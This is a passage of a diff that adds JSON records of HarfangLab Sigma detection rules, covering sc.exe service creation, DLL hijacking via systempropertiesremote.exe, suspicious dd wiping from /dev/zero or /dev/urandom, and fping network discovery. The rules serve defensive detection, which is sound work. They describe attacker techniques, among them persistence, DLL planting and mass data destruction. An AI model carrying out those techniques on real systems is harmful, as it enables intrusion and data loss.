+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/003/"
+  ],
+  "name": "t1543_003_manual_service_creation_with_sc.yml",
+  "content": "title: Service Created via sc.exe\nid: 25bdc370-c782-4157-b467-3e74718d8b59\ndescription: |\n    Detects the manual creation of a Windows service using sc.exe.\n    While sc.exe is a legitimate Windows tool for managing services, its manual use outside of an installer can indicate adversaries may be creating a Windows service to achieve persistence.\n    It is recommended to investigate suspicious service creation events through sc.exe, specially if they are not part of an installation process, and validate the service binary path and account privileges.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/003/\ndate: 2022/12/02\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1543.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Sc\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ServiceCreation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'sc.exe'\n        CommandLine|contains|all:\n            - ' create'\n            - 'binPath='\n\n    exclusion_logisync:\n        GrandparentImage:\n            - '?:\\Program Files (x86)\\Logitech\\LogiSync\\sync-agent\\LogiSyncHandler.exe'\n            - '?:\\Program Files\\Logitech\\LogiSync\\sync-agent\\LogiSyncHandler.exe'\n\n    exclusion_intel:\n        CurrentDirectory|startswith:\n            - '?:\\Program Files\\Intel\\'\n            - '?:\\Program Files (x86)\\Intel\\'\n\n    exclusion_installer:\n        GrandparentImage:\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n\n    exclusion_listary:\n        CommandLine|contains: ' ListaryService'\n\n    exclusion_webcompanion:\n        ParentImage|endswith: '\\WebCompanionInstaller.exe'\n\n    exclusion_parsec:\n        GrandparentImage|endswith: '\\parsec-windows.exe'\n\n    exclusion_autodesk:\n        GrandparentImage|endswith: '\\AdODIS-installer.exe'\n\n    exclusion_dell:\n        GrandparentImage|endswith: '\\invcol.exe'\n\n    exclusion_hp:\n        ParentImage:\n            - '?:\\Program Files\\HP\\HP Touchpoint Analytics Client Installer\\TAInstaller.exe'\n            - '?:\\Program Files (x86)\\HP\\HP Touchpoint Analytics Client Installer\\TAInstaller.exe'\n            - '?:\\Program Files\\Hewlett-Packard\\HP Touchpoint Manager\\Tools\\tainstaller.exe'\n            - '?:\\Program Files (x86)\\Hewlett-Packard\\HP Touchpoint Manager\\Tools\\tainstaller.exe'\n\n    exclusion_varian:\n        CommandLine|contains: 'create VarianVDTRSDAgent binPath= *VMS.RemoteASD.VDTAgent.exe'\n        ParentImage: '?:\\ProgramData\\VDT.exe'\n\n    exclusion_asus_removetool:\n        GrandparentImage: '?:\\Program Files\\ASUS\\ABM\\service\\RemoveTool.exe'\n\n    exclusion_nable:\n        ParentImage: '?:\\Program Files (x86)\\N-able Technologies\\Windows Agent\\bin\\agent.exe'\n        CommandLine|contains: 'sc.exe create AutomationManagerAgent start= auto displayName= Automation Manager Agent binPath= ??:\\Program Files (x86)\\N-Able Technologies\\AutomationManagerAgent\\AutomationManager.AgentService.exe?'\n\n    exclusion_trendmicro:\n        ParentImage: '?:\\Program Files\\Trend Micro\\Deep Security Agent\\dsa.exe'\n        CommandLine|contains: 'sc.exe create ds_nuagent start= disabled binpath= ??:\\Program Files\\Trend Micro\\Deep Security Agent\\nuagent\\ds_nuagent.exe?'\n\n    exclusion_totalav:\n        ParentImage: '?:\\Program Files (x86)\\TotalAV\\SecurityService.exe'\n        CommandLine|contains: 'sc create ProtectedELAM binpath= ?:\\WINDOWS\\system32\\drivers\\protected_elam.sys'\n\n    exclusion_mcafee:\n        ParentImage:\n            - '?:\\Program Files\\Common Files\\McAfee\\PEF\\Installer\\InstallPEF.exe'\n            - '?:\\Program Files\\McAfee\\Temp??????????\\installer.exe'\n        CommandLine|contains:\n            - 'SC.exe create PEFService start= auto binpath= ??:\\Program Files\\Common Files\\McAfee\\PEF\\CORE\\PEFService.exe? DisplayName= McAfee PEF Service'\n            - 'sc.exe create McAfee WebAdvisor binPath= ??:\\Program Files\\McAfee\\WebAdvisor\\ServiceHost.exe? start= auto DisplayName= McAfee WebAdvisor'\n\n    exclusion_huawei:\n        ParentImage:\n            - '?:\\ProgramData\\Comms\\PCManager\\DriverUpgrade\\Update\\Downloaded\\\\*\\PCManager_Setup_*_x64.exe'\n            - '?:\\Program Files\\Huawei\\PCManager\\AccessoryCenter_Setup.exe'\n            - '?:\\Program Files\\Huawei\\PCManager\\BasicService_Setup.exe'\n            - '?:\\Program Files\\Huawei\\PCManager\\HiviewService_Setup.exe'\n            - '?:\\Program Files\\Huawei\\PCManager\\LCDEnhancement_step.exe'\n            - '*\\MSPCManagerOffline.exe'\n        CommandLine|contains:\n            - 'sc.exe create HiConnectivityService DisplayName= Huawei Connectivity Windows Service start= auto binPath= ??:\\Program Files\\Huawei\\PCManager\\HiConnectivityService.exe?'\n            - 'sc.exe create HiviewService DisplayName= Huawei Hiview Windows Service start= auto binPath= ??:\\Program Files\\Huawei\\Hiview\\HiviewService.exe?'\n            - 'sc.exe create HwDistributedMainService DisplayName= Huawei Distributed Windows Service start= auto binPath= ??:\\Program Files\\Huawei\\PCManager\\HwDistributedMainService.exe?'\n            - 'sc.exe create HwPCCoreService DisplayName= Huawei PC Core Service start= auto binPath= ??:\\Program Files\\Huawei\\BasicService\\BasicService.exe?'\n            - 'sc.exe create LCD_Service DisplayName= Huawei LCD_Service start= auto binPath= ??:\\Program Files\\Huawei\\HwLcdEnhancement\\LCD_Service.exe?'\n            - 'sc.exe create MBAMainService DisplayName= Huawei PCManager Windows Service start= auto binPath= ??:\\Program Files\\Huawei\\PCManager\\MateBookService.exe?'\n            - 'sc.exe create PCManager Service start= auto binpath=?:\\Program Files\\Microsoft PC Manager\\MSPCManagerService.exe'\n\n    exclusion_panda:\n        GrandparentCommandLine:\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Program Files (x86)\\Panda Cloud Systems Management\\UltraVNC\\vnc_configure.cmd ?:\\Program Files (x86)\\Panda Cloud Systems Management\\UltraVNC\\winvnc.exe'\n            - '?:\\Program Files (x86)\\Panda Cloud Systems Management\\CagService.exe'\n        CommandLine:\n            - 'SC create uvnc_service binpath= ??:\\Program Files (x86)\\Panda Cloud Systems Management\\UltraVNC\\winvnc.exe? -service start= auto'\n            - 'SC create uvnc_service binpath= ??:\\Program Files (x86)\\Panda Systems Management\\UltraVNC\\winvnc.exe? -service start= auto'\n\n    exclusion_centrastage:\n        GrandparentImage: '?:\\Program Files (x86)\\CentraStage\\CagService.exe'\n        CommandLine: 'SC create uvnc_service binpath= ??:\\Program Files (x86)\\CentraStage\\UltraVNC\\winvnc.exe? -service start= auto'\n\n    exclusion_alienware:\n        GrandparentImage: '?:\\Program Files\\Alienware\\Alienware Command Center\\OCControlService\\OCControl.Service.exe'\n        CommandLine: 'sc create AMDRyzenMasterDriverV?? binPath= ?:\\Program Files\\Alienware\\AMDRyzenMasterDriver\\bin\\AMDRyzenMasterDriver.sys type= kernel start= auto'\n\n    exclusion_rustdesk:\n        CommandLine: 'sc create RustDesk binpath= \"?:\\Program Files\\RustDesk\\RustDesk.exe\" * start= auto DisplayName= RustDesk Service'\n        ParentCommandLine:\n            - '?:\\Windows\\System32\\cmd.exe /C ?:\\WINDOWS\\TEMP\\RustDesk_install.bat'\n            - '?:\\Windows\\System32\\cmd.exe /C ?:\\Windows\\SystemTemp\\RustDesk_install.bat'\n            - '?:\\Windows\\System32\\cmd.exe /C ?:\\Users\\\\*\\AppData\\Local\\Temp\\RustDesk_install.bat'\n\n    exclusion_heat:\n        CommandLine:\n            - '?:\\Windows\\system32\\sc.exe create gzflt type= filesys displayname= gzflt start= demand binPath= ?:\\Windows\\system32\\drivers\\gzflt.sys depend= FltMgr group= FSFilter Anti-Virus tag= yes'\n            - '?:\\Windows\\system32\\sc.exe create Trufos type= filesys displayname= Trufos start= demand binPath= ?:\\Windows\\system32\\drivers\\trufos.sys depend= FltMgr group= Boot Bus Extender tag= yes'\n        GrandparentImage: '?:\\Program Files\\HEAT Software\\EMSSAgent\\\\??\\luarunner.exe'\n\n    exclusion_mspecosystem:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\sc.exe create EcosystemAgentMaintenance start= auto DisplayName= Ecosystem Agent Maintenance binPath= ?:\\Program Files (x86)\\SolarWinds MSP\\Ecosystem Agent\\SolarWinds.MSP.Ecosystem.WindowsAgentMaint.exe'\n            - '?:\\WINDOWS\\system32\\sc.exe create EcosystemAgent start= auto DisplayName= Ecosystem Agent binPath= ?:\\Program Files (x86)\\SolarWinds MSP\\Ecosystem Agent\\SolarWinds.MSP.Ecosystem.WindowsAgent.exe'\n            - '?:\\WINDOWS\\system32\\sc.exe create EcosystemAgentMaintenance start= auto DisplayName= Ecosystem Agent Maintenance binPath= ?:\\Program Files (x86)\\N-able Technologies\\Ecosystem Agent\\Nable.Ecosystem.WindowsAgentMaint.exe'\n            - '?:\\WINDOWS\\system32\\sc.exe create EcosystemAgent start= auto DisplayName= Ecosystem Agent binPath= ?:\\Program Files (x86)\\N-able Technologies\\Ecosystem Agent\\Nable.Ecosystem.WindowsAgent.exe'\n        GrandparentImage: '?:\\ProgramData\\MSPEcosystem\\FileCache\\Upgrade\\Ecosystem.AgentSetup.exe'\n\n    exclusion_admincenter:\n        CommandLine|contains: 'binpath= ?:\\Program Files\\WindowsAdminCenter\\Service\\'\n        ProcessGrandparentInternalName: 'Windows Admin Center (v2)'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Microsoft Corporation'\n\n    exclusion_matrix42:\n        CommandLine|contains: 'binPath= \"?:\\Program Files\\Matrix42\\Maintenance Service\\Matrix42MaintenanceService.exe\"'\n        ParentCommandLine|contains: 'Packages\\Matrix42\\UEM Agent Windows\\'\n\n    exclusion_puppet_agent:\n        ParentImage: '?:\\Program Files\\Puppet Labs\\\\*\\bin\\ruby.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\n#level: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "25bdc370-c782-4157-b467-3e74718d8b59",
+  "rule_name": "Service Created via sc.exe",
+  "rule_description": "Detects the manual creation of a Windows service using sc.exe.\nWhile sc.exe is a legitimate Windows tool for managing services, its manual use outside of an installer can indicate adversaries may be creating a Windows service to achieve persistence.\nIt is recommended to investigate suspicious service creation events through sc.exe, specially if they are not part of an installation process, and validate the service binary path and account privileges.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "25c7fcff-2700-4b0e-81d3-c467def3ef7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095213Z",
+  "creation_date": "2026-03-23T11:45:34.095215Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095219Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_systempropertiesremote.yml",
+  "content": "title: DLL Hijacking via systempropertiesremote.exe\nid: 25c7fcff-2700-4b0e-81d3-c467def3ef7e\ndescription: |\n    Detects potential Windows DLL Hijacking via systempropertiesremote.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'systempropertiesremote.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\WINSTA.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "25c7fcff-2700-4b0e-81d3-c467def3ef7e",
+  "rule_name": "DLL Hijacking via systempropertiesremote.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via systempropertiesremote.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2650626f-6d1c-4193-b47e-4a0e51549c76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.475670Z",
+  "creation_date": "2026-03-23T11:45:34.624029Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624033Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/dd.1.html",
+    "https://attack.mitre.org/techniques/T1485/",
+    "https://attack.mitre.org/techniques/T1027/001/"
+  ],
+  "name": "t1485_suspicious_dd_usage_linux.yml",
+  "content": "title: Suspicious Usage of dd (Linux)\nid: 2650626f-6d1c-4193-b47e-4a0e51549c76\ndescription: |\n    Detects the execution of dd with /dev/zero, /dev/random or /dev/urandom as its input file.\n    This could be used by an attacker to either securely delete a file from the disk or to achieve mass data destruction.\n    It can also be used as a binary padding technique to add junk data and change the on-disk representation of a file.\n    It is recommended to analyze the process calling dd to look for other malicious actions or content.\nreferences:\n    - https://man7.org/linux/man-pages/man1/dd.1.html\n    - https://attack.mitre.org/techniques/T1485/\n    - https://attack.mitre.org/techniques/T1027/001/\ndate: 2021/09/24\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1485\n    - attack.defense_evasion\n    - attack.t1027.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Dd\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        # /usr/bin/dd\n        # /usr/lib/klibc/bin/dd\n        Image|endswith: '/dd'\n        CommandLine|contains:\n            - 'if=/dev/zero'\n            - 'if=/dev/random'\n            - 'if=/dev/urandom'\n        ParentImage|contains: '?'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - ' status=progress'\n            - ' conv='\n\n    exclusion_initfs:\n        CommandLine|contains: 'of=/var/tmp/mkinitramfs_*/.random-seed'\n\n    exclusion_cron:\n        Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_apt:\n        Ancestors|contains: '|/usr/bin/apt|'\n\n    exclusion_dpkg:\n        Ancestors|contains: '|/usr/bin/dpkg|'\n\n    exclusion_apt-compat:\n        CommandLine: 'dd if=/dev/urandom bs=2 count=1'\n        ParentCommandLine: '/bin/sh /etc/cron.daily/apt-compat'\n\n    exclusion_cron_hourly:\n        ParentCommandLine|startswith: '/bin/sh /etc/cron.hourly/'\n        CommandLine: 'dd if=/dev/urandom bs=2 count=1'\n\n    exclusion_filebeat:\n        ParentCommandLine: '/bin/bash */config/filebeat-* test'\n\n    exclusion_yocto_sdk:\n        Image: '/opt/yocto/*/usr/bin/dd'\n\n    exclusion_cronapt:\n        - ParentCommandLine: '/bin/sh /usr/sbin/cron-apt'\n        - GrandparentCommandLine: '/bin/sh /usr/sbin/cron-apt'\n\n    exclusion_netflow:\n        CommandLine: 'dd bs=18 count=1 if=/dev/urandom'\n        ParentCommandLine: '/bin/bash -ue .command.run'\n\n    exclusion_leapp:\n        - ParentCommandLine|startswith:\n            - '/usr/bin/python2 /bin/leapp '\n            - '/usr/bin/python2 /usr/bin/leapp '\n            - '/usr/libexec/platform-python /bin/leapp '\n            - '/usr/libexec/platform-python /usr/bin/leapp '\n        - CurrentDirectory|startswith: '/usr/share/leapp-repository/repositories/system_upgrade/common/actors/'\n\n    exclusion_rust:\n        GrandparentCommandLine|endswith: '/.rustup/toolchains/stable-x86_64-unknown-linux*/bin/cargo'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_commvault:\n        - Ancestors|contains: '|/opt/commvault/Base64/cvflock|'\n        - CommandLine: 'dd if=/dev/urandom bs=1 count=32'\n          ParentCommandLine|startswith:\n            - '/bin/sh /opt/commvault/Base/Galaxy '\n            - '/bin/sh /opt/commvault?/Base/Galaxy '\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2650626f-6d1c-4193-b47e-4a0e51549c76",
+  "rule_name": "Suspicious Usage of dd (Linux)",
+  "rule_description": "Detects the execution of dd with /dev/zero, /dev/random or /dev/urandom as its input file.\nThis could be used by an attacker to either securely delete a file from the disk or to achieve mass data destruction.\nIt can also be used as a binary padding technique to add junk data and change the on-disk representation of a file.\nIt is recommended to analyze the process calling dd to look for other malicious actions or content.\n",
+  "rule_creation_date": "2021-09-24",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.001",
+    "attack.t1485"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "268199bf-94d2-43fe-aa0c-677157a424c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612240Z",
+  "creation_date": "2026-03-23T11:45:34.612244Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612252Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.kali.org/tools/fping/",
+    "https://attack.mitre.org/techniques/T1018/"
+  ],
+  "name": "t1018_fping.yml",
+  "content": "title: Fping Execution\nid: 268199bf-94d2-43fe-aa0c-677157a424c0\ndescription: |\n    Detects the execution of fping, a ping-like tool that uses the Internet Control Message Protocol (ICMP) to discover active devices within a network.\n    Attackers may use it during discovery phase to discover remote systems.\n    It is recommended to investigate other actions taken by this user in their session.\nreferences:\n    - https://www.kali.org/tools/fping/\n    - https://attack.mitre.org/techniques/T1018/\ndate: 2022/12/23\nmodified: 2026/02/27\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1018\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Tool.Fping\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/fping'\n        ParentImage|contains: '?'\n\n    exclusion_zabbix:\n        - ParentImage: '/usr/sbin/zabbix_server'\n        - GrandparentImage:\n            - '/usr/sbin/zabbix_server'\n            - '/usr/sbin/zabbix_proxy'\n            - '/usr/sbin/zabbix_server_mysql'\n            - '/usr/sbin/zabbix_server_pgsql'\n            - '/usr/sbin/zabbix_proxy_mysql'\n            - '/usr/sbin/zabbix_proxy_pgsql'\n        - ParentCommandLine:\n            - 'sh -c /usr/bin/fping -C3 -i0 2>&1 </tmp/zabbix_*.pinger;'\n            - 'sh -c /usr/sbin/fping -c3 -i0 2>&1 </tmp/zabbix_*.pinger;'\n\n    exclusion_zabbix2:\n        - GrandparentImage: '/usr/sbin/zabbix_agentd'\n        - ParentImage: '/usr/sbin/zabbix_agentd'\n        - CommandLine|endswith: '/tmp/zabbix_server_??????'\n\n    exclusion_librenms:\n        - ParentCommandLine|startswith:\n            - 'php /opt/librenms/'\n            - '/usr/bin/env php /opt/librenms/'\n        - GrandparentCommandLine|startswith: '/usr/bin/python3 /var/librenms/librenms-service.py '\n        - CurrentDirectory|contains: '/librenms/'\n          User: 'librenms'\n\n    exclusion_smokeping:\n        ParentCommandLine|startswith:\n            - '/usr/sbin/smokeping ['\n            - '/opt/smokeping/bin/smokeping ['\n            - '/usr/bin/perl /usr/sbin/smokeping --config='\n            - '/usr/bin/perl /opt/smokeping/bin/smokeping --config='\n\n    exclusion_phpipam:\n        GrandparentCommandLine|endswith:\n            - '/phpipam/functions/scripts/pingCheck.php'\n            - '/phpipam/functions/scripts/discoveryCheck.php'\n\n    exclusion_observium:\n        ParentCommandLine|startswith:\n            - 'python /opt/observium/poller-wrapper.py'\n            - '/usr/bin/env php /opt/observium/poller.php '\n            - '/bin/sh -c */opt/observium/poller-wrapper.py ' # lots of spaces between sh -c  and /opt...\n            - '/bin/sh -c */opt/observium/discovery.php '\n            - 'sh -c */opt/observium/discovery.php '\n            - '/usr/bin/env python /opt/observium/poller-wrapper.py'\n            - '/usr/bin/env php /opt/observium/discovery.php'\n            - 'php /opt/observium/*.php '\n            # - 'php /opt/observium/config_to_json.php '\n            # - 'php /opt/observium/poller.php'\n            # - 'php /opt/observium/discovery.php'\n            # - 'php /opt/observium/alerter.php'\n        # GrandparentCommandLine|startswith: 'python /opt/observium/'\n\n    exclusion_observium2:\n        - ParentCommandLine: 'python /opt/observium/observium-wrapper poller'\n        - GrandparentCommandLine: 'python /opt/observium/observium-wrapper poller'\n\n    exclusion_pandora:\n        GrandparentImage:\n            - '/usr/bin/pandora_server'\n            - '/tmp/par-*/cache-*/pandora_server'\n            - '/tmp/par-*/cache-*/pandora_agent'\n\n    exclusion_pacemark:\n        ParentCommandLine|endswith: ' /usr/lib/ocf/resource.d/pacemaker/ping'\n\n    exclusion_seafile:\n        CurrentDirectory: '/opt/seafile/'\n        User: 'seaf'\n\n    exclusion_teemip:\n        - GrandparentCommandLine|contains: '/teemip-ip-discovery-collector/'\n          Ancestors|contains: '/usr/bin/php|'\n        - CommandLine:\n            - '/usr/sbin/fping -v'\n            - '/usr/sbin/fping -r1 -t1000 -ga *'\n          Ancestors|contains: '/usr/bin/php|'\n\n    exclusion_containerd:\n        - ParentImage:\n            - '/usr/bin/containerd'\n            - '/usr/local/bin/containerd-shim-runc-v2'\n        - Ancestors|contains:\n            - '|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\n#level: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "268199bf-94d2-43fe-aa0c-677157a424c0",
+  "rule_name": "Fping Execution",
+  "rule_description": "Detects the execution of fping, a ping-like tool that uses the Internet Control Message Protocol (ICMP) to discover active devices within a network.\nAttackers may use it during discovery phase to discover remote systems.\nIt is recommended to investigate other actions taken by this user in their session.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2026-02-27",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "26c1301c-7b9e-4251-8587-45925cd3e0b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
